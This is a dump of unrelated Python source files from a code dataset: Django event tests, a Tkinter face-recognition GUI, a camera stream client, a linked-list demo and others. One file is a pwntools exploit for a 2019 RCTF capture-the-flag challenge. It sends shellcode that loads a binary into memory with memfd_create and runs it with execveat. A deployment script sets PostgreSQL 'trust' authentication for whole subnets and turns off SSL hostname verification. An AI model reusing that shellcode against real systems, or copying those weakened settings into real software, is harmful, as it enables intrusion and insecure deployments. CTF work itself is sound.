out_channels)) if use_bias else 0\n self.init_weight()\n \n def __repr__(self):\n return 'ToDenseBEVConvolution(in_channels=%d, out_channels=%d, n_kernels=%d)'%(\n self.in_channels,\n self.out_channels,\n self.n_kernels\n )\n\n\n def init_weight(self):\n std = 1. / math.sqrt(self.in_channels)\n self.kernel.data.uniform_(-std, std)\n\n def forward(self, inputs):\n features = inputs.F\n coords = inputs.C\n cur_stride = inputs.s\n\n kernels = torch.index_select(self.kernel, 0, coords[:, self.z_dim].long() / cur_stride)\n sparse_features = (features.unsqueeze(-1) * kernels).sum(1) + self.bias\n sparse_coords = (coords - self.offset).t()[[3] + self.bev_dims].long()\n sparse_coords[1:] /= cur_stride\n batch_size = sparse_coords[0].max().item() + 1\n sparse_coords = sparse_coords[0] * int(self.bev_shape.prod()) + sparse_coords[1] * int(self.bev_shape[1]) + sparse_coords[2]\n bev = torch.cuda.sparse.FloatTensor(\n sparse_coords.unsqueeze(0),\n sparse_features,\n torch.Size([batch_size * int(self.bev_shape.prod()), sparse_features.size(-1)]),\n ).to_dense()\n return bev.view(batch_size, *self.bev_shape, -1).permute(0, 3, 1, 2).contiguous() # To BCHW\n","sub_path":"torchsparse/nn/modules/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":7321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"487895181","text":"class Employee:\n\temployee_count=0;\n\tdef __init__(self,name,salary):\n\t\tself.name=name;\n\t\tself.salary=salary;\n\t\tEmployee.employee_count+=1;\n\t\t\n\tdef displaycount(self):\n\t\tprint(\"Total Employee count: \"+str(Employee.employee_count));\n\t\t\n\tdef displayEmpData(self):\n\t\tprint(\"Employee name: \"+self.name+\" Employee Salary: \"+str(self.salary));\n\t\t\nemp1 = Employee(\"shailesh\",1000.0);\nemp2 = Employee(\"vishal\",2000.0);\n\nemp2.displaycount();\nemp1.displayEmpData();\nemp2.displayEmpData();\n\nif hasattr(emp1,\"salary\"):\n print(\"Employee has Salary attribute\");\n setattr(emp1,\"salary\",2500.0);\n emp1.displayEmpData();\nelse:\n print(\"Employee does not have Salary attribute\");","sub_path":"classes_objects/classex.py","file_name":"classex.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"605957146","text":"import Tkinter as tk\nimport tkFileDialog\nimport os\nimport cv2\nimport shutil\nimport numpy as np\nfrom PIL import Image, ImageTk\nfrom facemodel import *\n\nHUGE_FONT = (\"Verdana\", 16)\nLARGE_FONT = (\"Verdana\", 12)\nNORMAL_FONT = (\"Verdana\", 10)\nSMALL_FONT = (\"Verdana\", 8)\n\n\n\n# http://zetcode.com/gui/tkinter/dialogs/\n\n# controller\nclass FaceApp(tk.Tk):\n def __init__(self, *args, **kwargs):\n self.root = tk.Tk.__init__(self, *args, **kwargs)\n self.img_w = 480\n self.img_h = 360\n self.geometry(str(self.img_w + 240) + \"x\" + str(self.img_h*2 + 120) + \"+300+300\")\n tk.Tk.wm_title(self, \"FaceApp\")\n container = tk.Frame(self)\n container.pack(side=\"top\", fill=\"both\", expand=True)\n container.grid_rowconfigure(0, weight=1)\n container.grid_columnconfigure(0, weight=1)\n self.frames = {}\n\n # add new pages to that list:\n #for F in (StartPage):\n frame = StartPage(container, self)\n self.frames[StartPage] = frame\n frame.grid(row=0, column=0, sticky=\"nsew\")\n self.show_frame(StartPage)\n\n def show_frame(self, cont):\n frame = self.frames[cont]\n frame.tkraise()\n\n def do_nothing(self):\n filewin = tk.Toplevel(self)\n button = tk.Button(filewin, text=\"Do nothing button\")\n button.pack()\n print(\"do nothing\")\n\n\n\nclass StartPage(tk.Frame):\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n\n self.label_txt = tk.Label(self, text=\"Choose an action\", font=LARGE_FONT)\n self.label_txt.pack(pady=10, padx=10)\n\n #button1 = tk.Button(self, text=\"Visit Page 1\", command=lambda: controller.show_frame(PageOne))\n #button1.pack()\n\n self.button_train = tk.Button(self, text=\"Train\", fg=\"red\", command=self.train)\n self.button_train.pack(side=tk.LEFT, padx=5)\n\n self.button_authorize = tk.Button(self, text=\"Authorize\", fg=\"blue\", command=self.authorize, state=tk.DISABLED)\n self.button_authorize.pack(side=tk.LEFT, padx=5)\n\n #self.button_load_model = tk.Button(self, text=\"Load Model\", fg=\"green\", command=self.load_model)\n #self.button_load_model.pack(side=tk.LEFT)\n\n #self.button_save_model = tk.Button(self, text=\"Save Model\", fg=\"yellow\", command=self.save_model, state=tk.DISABLED)\n #self.button_save_model.pack(side=tk.LEFT, padx=5)\n\n self.button_close = tk.Button(self, text=\"Close\", fg=\"black\", command=self.quit)\n self.button_close.pack(side=tk.LEFT, padx=5)\n\n\n self.img_cam = np.zeros((controller.img_h, controller.img_w, 3), dtype=np.uint8)\n self.img_res = None\n self.img_cur = None\n self.cap = cv2.VideoCapture(0)\n\n # self.label_cam_txt = tk.Label(self, text=\"live camera stream\", font=SMALL_FONT)\n # self.label_cam_txt.pack(side=tk.TOP, pady=0, padx=10)\n master=controller\n self.label_cam_stream = tk.Label()\n self.label_cam_stream.pack(side=tk.TOP, pady=5)\n\n self.label_img_res_txt = tk.Label(self, text=\"processed image:\", font=LARGE_FONT)\n self.label_img_res_txt.pack(side=tk.TOP,pady=12, padx=10)\n\n self.label_img_res = tk.Label(master=controller)\n self.label_img_res.pack(side=tk.TOP, pady=5)\n\n self.model = FaceModel()\n\n self.show_video()\n\n\n def train(self):\n print(\"Train chosen!\")\n #self.button_save_model['state'] = tk.NORMAL\n\n self.model.train_model()\n self.button_authorize['state'] = tk.NORMAL\n\n\n def authorize(self):\n print(\"Authorization chosen!\")\n self.model.authorize()\n\n\n def load_model(self):\n # https://stackoverflow.com/questions/16429716/opening-file-tkinter\n print(\"Load model chosen!\")\n ftypes = [('model files', '*.model')]\n dlg = tkFileDialog.Open(self.controller, filetypes = ftypes)\n filename = dlg.show()\n\n if filename != '' and filename is not None:\n if self.model.load_model(filename):\n # self.button_load_model['state'] = tk.DISABLED\n self.button_save_model['state'] = tk.NORMAL\n self.button_authorize['state'] = tk.NORMAL\n\n def save_model(self):\n print(\"save model chosen!\")\n ftypes = [('model files', '*.model')]\n cwd = os.getcwd()\n filename = tkFileDialog.asksaveasfilename(initialdir=cwd, title=\"Select file\", filetypes=ftypes)\n if filename != '' and filename is not None:\n if self.model.save_model(filename) :\n self.button_load_model['state'] = tk.NORMAL\n self.button_authorize['state'] = tk.NORMAL\n\n def show_video(self):\n if not self.cap.isOpened():\n print(\"ERROR: cannot open the camera\")\n\n flag, img_new = self.cap.read()\n #print(\"capture...\")\n if flag is None:\n print(\"ERROR: cannot read the camera!\")\n elif flag:\n self.img_cam = img_new.copy()\n self.img_cam = cv2.cvtColor(self.img_cam, cv2.COLOR_BGR2RGB)\n self.img_cam = cv2.resize(self.img_cam, (self.controller.img_w, self.controller.img_h))\n\n img1 = Image.fromarray(self.img_cam)\n imgtk_cam = ImageTk.PhotoImage(image=img1)\n self.label_cam_stream.imgtk = imgtk_cam\n self.label_cam_stream.configure(image=imgtk_cam)\n\n self.model.set_cam_image(self.img_cam)\n self.img_res = self.model.get_res_image()\n\n self.label_img_res_txt['text'] = self.model.get_info()\n\n if self.img_res is None:\n self.img_res = self.img_cam\n\n img2 = Image.fromarray(self.img_res)\n imgtk_res = ImageTk.PhotoImage(image=img2)\n self.label_img_res.imgtk = imgtk_res\n self.label_img_res.configure(image=imgtk_res)\n\n self.label_cam_stream.after(50, self.show_video)\n\n def quit(self):\n if self.model.is_training:\n self.model.stop_thread()\n self.controller.quit()\n\ndef main():\n app = FaceApp()\n app.mainloop()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"FaceApp.py","file_name":"FaceApp.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"552900804","text":"from pwn import *\n\ncontext.aslr=0\nr = process([\"./shellcoder\"])\n#r = remote(\"139.180.215.222\", 20002)\n\n\ncontext.arch = \"amd64\"\ncontext.log_level='debug'\n\ngdb.attach(r,'b* 0x15555554a0af')\nr.sendafter(\":\",asm(\"\"\"\npush rdi\npop rsi\nxchg edi,edx\nsyscall\nnop\n\"\"\"))\n\n# syscall(SYS_execveat, exec_fd, \"\", argv, NULL, AT_EMPTY_PATH);\n# int fd=SYS_memfd_create(char *uname, unsigned int flags)\n# int n=SYS_read(0,buf,n)\n# int n=SYS_write(fd,buf,n)\n# tub_execveat(int fd, char *filename(point to zero),0,0,0x1000)\n\nr.send(\"\\x90\"*0x30+asm(shellcraft.pushstr(\"byzero\"))+asm(\"\"\"\nmov rax,319\nmov rdi,rsp\nmov rsi,0\nsyscall\nmov rbx,rax\nloop:\nmov rdi,0\nmov rsi,rsp\nmov rdx,0x400\nmov rax,0\nsyscall\ncmp rax,0\nje go\nmov rdi,rbx\nmov rsi,rsp\nmov rdx,rax\nmov rax,1\nsyscall\njmp loop\ngo:\nmov rdi,rbx\npush 0\nmov rsi,rsp\nxor rdx,rdx\nxor r10,r10\nmov r8,0x1000\nmov rax,322\nsyscall\n\"\"\"))\n\n\nr.recvrepeat(1)\nr.send(open(\"find_flag\").read()) # another binary we want to execute\nr.shutdown(\"send\") # close the tube\n\nr.interactive()\n","sub_path":"2019/2019-rctf/shellcoder/balsn_exp.py","file_name":"balsn_exp.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"45980962","text":"#!/usr/bin/python\n#\n'''\n[ auth_go_setup.py ]\n\nCOPYRIGHT (c) 2017 by MediaMath, Cambridge, MA USA.\nAll rights reserved. This material contains unpublished, copyrighted\nwork including confidential and proprietary information of MediaMath.\n\nset of steps necessary to perform after any environment's adama database\nrefresh is performed in order to properly configure auth.go (for taxonomy\ntests)\n'''\n\nimport logging\nimport optparse\nimport ssh_util\n\nparser = optparse.OptionParser(description=\"Auth.go setup\")\nparser.add_option(\"--ssh_ip\", type=str, help=\"ssh ip address\")\nparser.add_option(\"--ssh_port\", type=str, help=\"ssh port\")\nparser.add_option(\"--private_key\", type=str,\n default=\"/home/jenkins/.ssh/dmp-ec2-qa.pem\",\n help=\"private key for ssh security\")\nparser.add_option(\"--log_level\", type=str, default=\"DEBUG\",\n help=\"logging level\")\nparser.add_option(\"--postgres_file\", type=str,\n default=\"/etc/postgresql/9.4/main/pg_hba.conf\")\nparser.add_option(\"--adama_start_file\", type=str,\n default=\"/apps/t1_v2/prod/adama_start.pl\")\nparser.add_option(\"--adama_conf_file\", type=str,\n default=\"/apps/t1_v2/prod/adama_local.conf\")\nargs, _ = parser.parse_args()\n\n# configuration\nSSH_IP = args.ssh_ip\nSSH_PORT = args.ssh_port\nPRIVATE_KEY = args.private_key\nLOG_LEVEL = args.log_level\nPOSTGRES_FILE = args.postgres_file\nADAMA_START_FILE = args.adama_start_file\nADAMA_CONF_FILE = args.adama_conf_file\n\n\ndef ssh():\n ssh_ins = ssh_util.SSHUtil(SSH_IP, SSH_PORT)\n init()\n return ssh_ins\n\n\ndef init():\n \"\"\" init once for all the test in this class \"\"\"\n\n private_key = PRIVATE_KEY\n log_level = LOG_LEVEL\n\n level = logging.INFO if log_level == 'INFO' else logging.DEBUG\n logging.basicConfig(level=level)\n logging.info('set logging level to: : %s', log_level)\n\n ssh_util.SSHUtil.ssh_add_private_key(private_key)\n\n\nssh_object = ssh()\n\nlogging.info('Add necessary IP addresses to postgres config')\nlocal_connections = [\n \"host adama_camb-dev adama 10.150.68.0/22 trust\",\n \"host adama_camb-dev adama 10.150.69.0/22 trust\",\n \"host adama_camb-dev adama 10.150.70.0/22 trust\",\n \"host adama_camb-dev adama 10.150.71.0/22 trust\"]\n\nfor conn in local_connections:\n ssh_object.append_string_to_file(\"# IPv4 local connections:\",\n conn,\n POSTGRES_FILE)\n\nlogging.info('Restarting postgresql service')\ncommand = \"sudo service postgresql restart\"\nssh_object.ssh_execute_cmd(command, return_subprocess=True)\n\nlogging.info('Add environment variable to Adama startup routine')\nssh_object.append_string_to_file(\"$ENV{USE_DBIX_CONNECTOR} = 0;\",\n \"\\$ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0;\",\n ADAMA_START_FILE)\n\nlogging.info('Rename entitlements to auth.go')\nssh_object.replace_string_in_file(\"/entitlements/\",\n \"/authgo/\",\n ADAMA_CONF_FILE)\n\nlogging.info('Add timeout to auth.go configuration')\nssh_object.append_string_to_file(\"url https://localhost/authgo/\",\n \"\\ timeout 15\",\n ADAMA_CONF_FILE)\n\nssh_object.restart_service_by_name(\"adama_v2\")\n","sub_path":"plexus/tests/ads-mmtest/lib/utils/auth_go_setup.py","file_name":"auth_go_setup.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"217774136","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# @package camLivePy\n#\n# This code is used to view a live stream of images on the computer\n#\n\n\n# Socket server\nimport sys\nimport numpy as np\nfrom optparse import OptionParser # Parser for command line options\nimport subprocess\nimport signal\nimport time\n\ntry:\n import cv\nexcept:\n import cv2 as cv\n\nfrom camSocketPy import *\n\n\n##\n# @brief Gets image from CamLight (throught socket)\n##\ndef getImage(addressSocket):\n client = ClientSocketUDP('livePreview', addressSocket, portSocketCamlive)\n ready = select.select([client.client_socket], [], [], None)\n sizeHeader = 0\n\n if ready[0]:\n recv_data = client.client_socket.recv(65536)\n numberOfPacketsToReceive, imageWidth, imageHeight = map(\n int, recv_data.split(' ')) # convert to int what we receive from socket\n\n while True:\n # init\n timeout_in_seconds = None\n client.send('get')\n recv_data = ''\n packetsReceived = 0\n imgBuffer = []\n\n # Receive packets\n while(packetsReceived != numberOfPacketsToReceive):\n ready = select.select([client.client_socket], [], [], timeout_in_seconds)\n if ready[0]:\n recv_data = client.client_socket.recv(65536)\n packetsReceived += 1\n if (packetsReceived == 1):\n # convert to int what we receive from socket\n timestampStart, timestampEnd = map(int, recv_data.split(' '))\n else:\n if (packetsReceived == 2):\n sizeHeader = len(recv_data)\n imgBuffer.extend(recv_data)\n client.send(str(packetsReceived))\n\n # Read buffer/image for display\n nparr = np.asarray(bytearray(imgBuffer[sizeHeader:]), dtype=np.uint8)\n imgB = np.reshape(nparr, (imageHeight, imageWidth))\n\n try:\n cv.ShowImage('', cv.fromarray(imgB))\n except:\n cv.imshow('', imgB)\n\n try:\n cv.WaitKey(1)\n except:\n # cv.waitKey(10)\n pass\n\n\ndef killOnCam(addressSocket):\n # Command to run via ssh\n HOST = \"root@\" + addressSocket\n # Ports are handled in ~/.ssh/config since we use OpenSSH\n COMMAND = \"killall camlive\"\n\n # ssh = subprocess.Popen([\"ssh\", \"%s\" % HOST, COMMAND],\n # shell=False,\n # stdout=subprocess.PIPE,\n # stderr=subprocess.PIPE)\n subprocess.Popen([\"ssh\", \"%s\" % HOST, COMMAND],\n shell=False,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n\n\ndef runOnCam(addressSocket):\n # Command to run via ssh\n HOST = \"root@\" + addressSocket\n # Ports are handled in ~/.ssh/config since we use OpenSSH\n COMMAND = \"/sdcard/bin/camlive\"\n\n # ssh = subprocess.Popen([\"ssh\", \"%s\" % HOST, COMMAND],\n # shell=False,\n # stdout=subprocess.PIPE,\n # stderr=subprocess.PIPE)\n subprocess.Popen([\"ssh\", \"%s\" % HOST, COMMAND],\n shell=False,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n time.sleep(1) # wait one second so the camlive can launch a server\n\n\ndef signal_handler(signal, frame):\n killOnCam(addressSocket)\n sys.exit(0)\n\n\n##\n# @brief Main function\n##\nif __name__ == '__main__':\n # Parsing arguments\n parser = OptionParser()\n parser.add_option(\"-a\", \"--address\", help=\"address of camlight to display. Default = 6 (172.16.100.46)\")\n parser.add_option(\"-f\", \"--fulladdress\", help=\"full address of camlight to display. Default = 172.16.100.46\")\n parser.add_option(\"-r\", \"--run\", help=\"Automatically run the camlive. By default 1. Set to 0 to deactivate.\")\n (options, args) = parser.parse_args()\n\n baseAddressSocket = '172.16.100.4'\n addressSocket = baseAddressSocket + '6' # by default camera '172.16.100.46'\n\n if options.address is not None:\n addressSocket = baseAddressSocket + options.address\n if options.fulladdress is not None:\n addressSocket = options.fulladdress\n\n # Ctrl+c handler\n signal.signal(signal.SIGINT, signal_handler)\n\n # Command to run via ssh\n if options.run is None or options.run == '1':\n runOnCam(addressSocket)\n\n getImage(addressSocket)\n","sub_path":"camlive/client/camLivePy.py","file_name":"camLivePy.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"407957182","text":"import unittest\nfrom datetime import datetime\n\nfrom django.template.defaultfilters import slugify\nfrom django.test import TestCase\nfrom django.core.urlresolvers import reverse\nfrom django.utils import timezone\n\nfrom freezegun import freeze_time\n\nfrom .models import Event\nfrom .models import Performance\nfrom .models import ReoccurringEventType\nfrom core.utils import CalendarWeek\nfrom core.utils import EST\n\n\nclass EventDateTimeMethodsTC(TestCase):\n def setUp(self):\n self.e = Event.objects.create(name='TestEvent')\n\n self.p1 = Performance.objects.create(\n event=self.e,\n name='First Performace in Event',\n start_dt=datetime(2013, 1, 17, 19, 30, 0, tzinfo=EST),\n end_dt=datetime(2013, 1, 17, 20, 0, 0, tzinfo=EST)\n )\n\n self.p2 = Performance.objects.create(\n event=self.e,\n name='Second Performace in Event',\n start_dt=datetime(2013, 1, 17, 19, 45, 0, tzinfo=EST),\n end_dt=datetime(2013, 1, 17, 20, 15, 0, tzinfo=EST)\n )\n\n self.p3 = Performance.objects.create(\n event=None,\n name='Performace not in Event',\n start_dt=datetime(2013, 1, 17, 19, 30, 0, tzinfo=EST),\n end_dt=datetime(2013, 1, 17, 20, 0, 0, tzinfo=EST)\n )\n\n def test_event_start_dt_is_first_peformance_start_dt(self):\n self.assertEqual(Performance.objects.count(), 3)\n self.assertEqual(self.e.start_dt, self.p1.start_dt)\n\n def test_event_end_dt_is_last_peformance_end_dt(self):\n self.assertEqual(self.e.end_dt, self.p2.end_dt)\n\n def test_event_start_dt_overrides_performance_dt(self):\n dt = datetime(2013, 1, 17, 21, 45, 0, tzinfo=EST)\n self.e._start_dt = dt\n self.assertEqual(self.e.start_dt, dt)\n\n def test_event_end_dt_overrides_performance_dt(self):\n dt = datetime(2013, 1, 17, 22, 40, 0, tzinfo=EST)\n self.e._end_dt = dt\n self.assertEqual(self.e.end_dt, dt)\n\n\nclass EventPerformanceRelationTC(TestCase):\n def setUp(self):\n self.e = Event.objects.create(name='TestEvent')\n\n self.p1 = Performance.objects.create(\n event=self.e,\n name='First Performace in Event',\n start_dt=datetime(2013, 1, 17, 19, 30, 0, tzinfo=EST),\n end_dt=datetime(2013, 1, 17, 20, 0, 0, tzinfo=EST)\n )\n\n self.p2 = Performance.objects.create(\n event=self.e,\n name='Second Performace in Event',\n start_dt=datetime(2013, 1, 17, 19, 45, 0, tzinfo=EST),\n end_dt=datetime(2013, 1, 17, 20, 15, 0, tzinfo=EST)\n )\n\n self.p3 = Performance.objects.create(\n event=None,\n name='Performace not in Event',\n start_dt=datetime(2013, 1, 17, 19, 30, 0, tzinfo=EST),\n end_dt=datetime(2013, 1, 17, 20, 0, 0, tzinfo=EST)\n )\n\n def test_event_contains_correct_performances(self):\n self.assertIn(self.p1, self.e.performance_set.all())\n self.assertIn(self.p2, self.e.performance_set.all())\n self.assertNotIn(self.p3, self.e.performance_set.all())\n\n def test_iterability_of_event(self):\n expected = [self.p1, self.p2]\n result = [p for p in self.e]\n self.assertEqual(expected, result)\n\n\nclass EventsPerformacesWeekPassedToTemplateTC(TestCase):\n \"\"\"\n Assert that correct event and performances objects are handed to\n template for rendering.\n \"\"\"\n def setUp(self):\n \"\"\"\n Set up events and performances for next several weeks\n \"\"\"\n self.cal_week = CalendarWeek()\n\n # Week of Monday, 2012-12-10 - One Event, Winter Ball\n self.e1 = Event.objects.create(\n name='QSIC Winter Ball',\n description='A night of fun!',\n _start_dt=datetime(2012, 12, 15, 21, 0, 0, tzinfo=EST),\n _end_dt=datetime(2012, 12, 16, 2, 0, 0, tzinfo=EST),\n _price=15.00\n )\n\n # Week of Monday, 2012-12-17 - One event with two performances\n self.e2 = Event.objects.create(name='QSIC House Night', description='A night of fun!')\n self.p1 = Performance.objects.create(\n event=self.e2,\n name='Peace Love and Joy',\n start_dt=datetime(2012, 12, 21, 19, 30, 0, tzinfo=EST),\n end_dt=datetime(2012, 12, 21, 20, 0, 0, tzinfo=EST),\n price=5.00\n )\n self.p2 = Performance.objects.create(\n event=self.e2,\n name=\"Rockin' Rolla Music\",\n start_dt=datetime(2012, 12, 21, 20, 0, 0, tzinfo=EST),\n end_dt=datetime(2012, 12, 21, 20, 30, 0, tzinfo=EST),\n price=5.00\n )\n\n # Week of Monday, 2012-12-24 - Dark\n\n # Week of Monday, 2012-12-31 - No events, 3 performances\n self.p3 = Performance.objects.create(\n event=self.e2,\n name='Suzie Q & The Team',\n start_dt=datetime(2013, 1, 2, 20, 15, 0, tzinfo=EST),\n end_dt=datetime(2013, 1, 2, 23, 0, 0, tzinfo=EST),\n price=5.00\n )\n self.p4 = Performance.objects.create(\n event=self.e2,\n name='Magic Man, The',\n start_dt=datetime(2013, 1, 4, 19, 0, 0, tzinfo=EST),\n end_dt=datetime(2012, 1, 4, 21, 15, 0, tzinfo=EST),\n price=5.00\n )\n self.p5 = Performance.objects.create(\n event=self.e2,\n name='Marty Loves Pizza',\n start_dt=datetime(2013, 1, 5, 12, 30, 0, tzinfo=EST),\n end_dt=datetime(2012, 1, 5, 16, 0, 0, tzinfo=EST),\n price=5.00\n )\n\n # Week of Monday, 2013-01-07 - 1 events, 2 performances in event, 1 not in event\n self.e3 = Event.objects.create(name='Happy Fun Time', description='Lalalalalal')\n self.p6 = Performance.objects.create(\n event=self.e3,\n name='Skiddss',\n start_dt=datetime(2013, 1, 11, 15, 0, 0, tzinfo=EST),\n end_dt=datetime(2012, 1, 11, 17, 0, 0, tzinfo=EST),\n price=23.00\n )\n self.p7 = Performance.objects.create(\n event=self.e3,\n name='Lolipops',\n start_dt=datetime(2013, 1, 11, 17, 30, 0, tzinfo=EST),\n end_dt=datetime(2012, 1, 11, 19, 0, 0, tzinfo=EST),\n price=34.00\n )\n self.p8 = Performance.objects.create(\n name='Madness!',\n start_dt=datetime(2013, 1, 11, 20, 30, 0, tzinfo=EST),\n end_dt=datetime(2012, 1, 11, 22, 0, 0, tzinfo=EST),\n price=15.00\n )\n\n def get_local_context(self, response):\n self.assertTrue(hasattr(response, 'context'))\n context = response.context\n return {'events': context['events'], 'performances': context['performances']}\n\n def test_no_performaces_or_events_for_dark_week(self):\n response = self.client.get('/events/week/20121224', follow=True)\n local_context = self.get_local_context(response)\n # Assert no events\n self.assertEqual(local_context['events'], [])\n # Assert no Performances\n self.assertEqual([p for p in local_context['performances']], [])\n\n def test_performances_no_events(self):\n response = self.client.get('/events/week/20121231', follow=True)\n local_context = self.get_local_context(response)\n # Assert no events\n self.assertEqual(local_context['events'], [])\n # 3 Performances\n self.assertEqual(local_context['performances'].count(), 3)\n\n def test_no_non_event_performances_one_event(self):\n response = self.client.get('/events/week/20121217', follow=True)\n local_context = self.get_local_context(response)\n # Assert 1 event\n self.assertEqual(len([e for e in local_context['events']]), 1)\n # No Performances\n self.assertEqual(local_context['performances'].count(), 0)\n\n def test_events_and_non_event_performances(self):\n response = self.client.get('/events/week/20130107', follow=True)\n local_context = self.get_local_context(response)\n # Assert 1 event\n events = [e for e in local_context['events']]\n self.assertEqual(len(events), 1)\n event_performances = [p for p in events[0]]\n # 2 Event Performances\n self.assertEqual(len(event_performances), 2)\n # 1 Non Event Performance\n self.assertEqual(local_context['performances'].count(), 1)\n\n\n# \"2012-12-12 00:00:00\" is a Wednesday\n# 15th is a Saturday\n@freeze_time(\"2012-12-12 00:00:00\", tz_offset=-4)\nclass EventsPerformacesDetailViewContextPassedToTemplateTC(TestCase):\n \"\"\"\n Assert that correct event and performance objects are handed to\n template for rendering.\n \"\"\"\n def setUp(self):\n \"\"\"\n Set up an event and some performances.\n \"\"\"\n self.cal_week = CalendarWeek()\n\n # Week of Monday, 2012-12-17 - One event with two performances\n self.e1 = Event.objects.create(name='QSIC House Night', description='A night of fun!')\n self.p1 = Performance.objects.create(\n event=self.e1,\n name='Peace Love and Joy',\n start_dt=datetime(2012, 12, 21, 19, 30, 0, tzinfo=EST),\n end_dt=datetime(2012, 12, 21, 20, 0, 0, tzinfo=EST),\n price=5.00\n )\n self.p2 = Performance.objects.create(\n event=self.e1,\n name=\"Rockin' Rolla Music\",\n start_dt=datetime(2012, 12, 21, 20, 0, 0, tzinfo=EST),\n end_dt=datetime(2012, 12, 21, 20, 30, 0, tzinfo=EST),\n price=5.00\n )\n\n def test_event_in_context(self):\n response = self.client.get('/events/event/' + str(self.e1.id), follow=True)\n self.assertTrue(hasattr(response, 'context_data'))\n local_context = response.context_data\n self.assertEqual(local_context['event'], self.e1)\n\n def test_performance_in_context_no_event(self):\n response = self.client.get('/events/performance/' + str(self.p1.id), follow=True)\n self.assertTrue(hasattr(response, 'context_data'))\n local_context = response.context_data\n self.assertEqual(local_context['performance'], self.p1)\n self.assertFalse(hasattr(local_context, 'event'))\n\n\nclass SlugTC(TestCase):\n \"\"\"\n A test case for all slug related tests.\n \"\"\"\n @classmethod\n def setUpClass(cls):\n cls.start_dt = datetime.now().replace(tzinfo=EST)\n cls.end_dt = datetime.now().replace(tzinfo=EST)\n\n def test_save_event_generates_correct_slug(self):\n e = Event.objects.create(name='QSIC House Night')\n self.assertEqual(e.slug, 'qsic-house-night')\n\n def test_save_performance_generates_correct_slug(self):\n p = Performance.objects.create(name='Butter High!',\n start_dt=self.start_dt,\n end_dt=self.end_dt)\n self.assertEqual(p.slug, 'butter-high')\n\n def test_get_event_detail_view_redirects_to_view_with_slug(self):\n e = Event.objects.create(name='QSIC House Night')\n response = self.client.get('/events/event/' + str(e.id), follow=True)\n self.assertTrue(hasattr(response, 'request'))\n self.assertEqual(response.request['PATH_INFO'], e.url)\n\n def test_get_performance_detail_view_redirects_to_view_with_slug(self):\n p = Performance.objects.create(name='Butter High!',\n start_dt=self.start_dt,\n end_dt=self.end_dt)\n response = self.client.get('/events/performance/' + str(p.id), follow=True)\n self.assertTrue(hasattr(response, 'request'))\n self.assertEqual(response.request['PATH_INFO'], p.url)\n\n\nclass ReoccuringEventsTC(TestCase):\n def test_build_reoccuring_events(self):\n event_start_time = datetime(2014, 6, 20, 19, 30, 0, tzinfo=EST)\n event_end_time = datetime(2014, 6, 20, 22, 30, 0, tzinfo=EST)\n ret = ReoccurringEventType.objects.create(name='Test events', period=7)\n e = Event.objects.create(name='TestEvent',\n description='Lots of fun here',\n reoccurring_event_type=ret,\n _start_dt=event_start_time,\n _end_dt=event_end_time)\n self.assertEqual(Event.objects.count(), 1)\n # go to up-next page 8 days prior to event's start date\n with freeze_time('2014-06-12 00:00:00', tz_offset=-4):\n self.client.get(reverse('events:up_next'), follow=True)\n self.assertEqual(Event.objects.count(), 1)\n # go to page 4 days prior to event's start date\n with freeze_time('2014-06-16 00:00:00', tz_offset=-4):\n self.client.get(reverse('events:up_next'), follow=True)\n e_qs = Event.objects.order_by('-_start_dt')\n self.assertEqual(e_qs.count(), 2)\n self.assertEqual(e_qs.first().start_dt, e.start_dt + timezone.timedelta(days=7))\n # go to page 2 days after event's start date\n with freeze_time('2014-06-22 00:00:00', tz_offset=-4):\n self.client.get(reverse('events:up_next'), follow=True)\n self.assertEqual(Event.objects.count(), 3)\n e_qs = Event.objects.order_by('-_start_dt')\n self.assertEqual(e_qs.first().start_dt, e.start_dt + timezone.timedelta(days=14))","sub_path":"events/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":13347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"327571201","text":"\"\"\"\n This is a most basic singly linked list with key and value\n\"\"\"\n\n\nclass LinkNode:\n def __init__(self, key, val):\n self.key = key\n self.val = val\n self.next = None\n\n\nclass LinkList:\n def __init__(self, key, val):\n self.list = LinkNode(key, val)\n\n def add_node(self, key, val):\n self.list.next = LinkNode(key, val)\n\n def add_node_front(self, key, val):\n new_head = LinkNode(key, val)\n cur_head = self.list\n new_head.next = cur_head\n self.list = new_head\n\n def remove_node(self, key):\n if self.list.key == key:\n self.list = self.list.next\n else:\n while self.list.next is not None:\n if key == self.list.next.key:\n self.list.next = self.list.next.next\n break\n\n def traverse(self):\n while self.list is not None:\n print('|key:{} value:{}|'.format(self.list.key, self.list.val))\n self.list = self.list.next\n\n\nif __name__ == '__main__':\n linked_list = LinkList(key=1, val=1)\n linked_list.add_node(key=2, val=2)\n linked_list.add_node_front(key=3, val=3)\n linked_list.traverse()\n","sub_path":"data-structures/singly_linked_list.py","file_name":"singly_linked_list.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
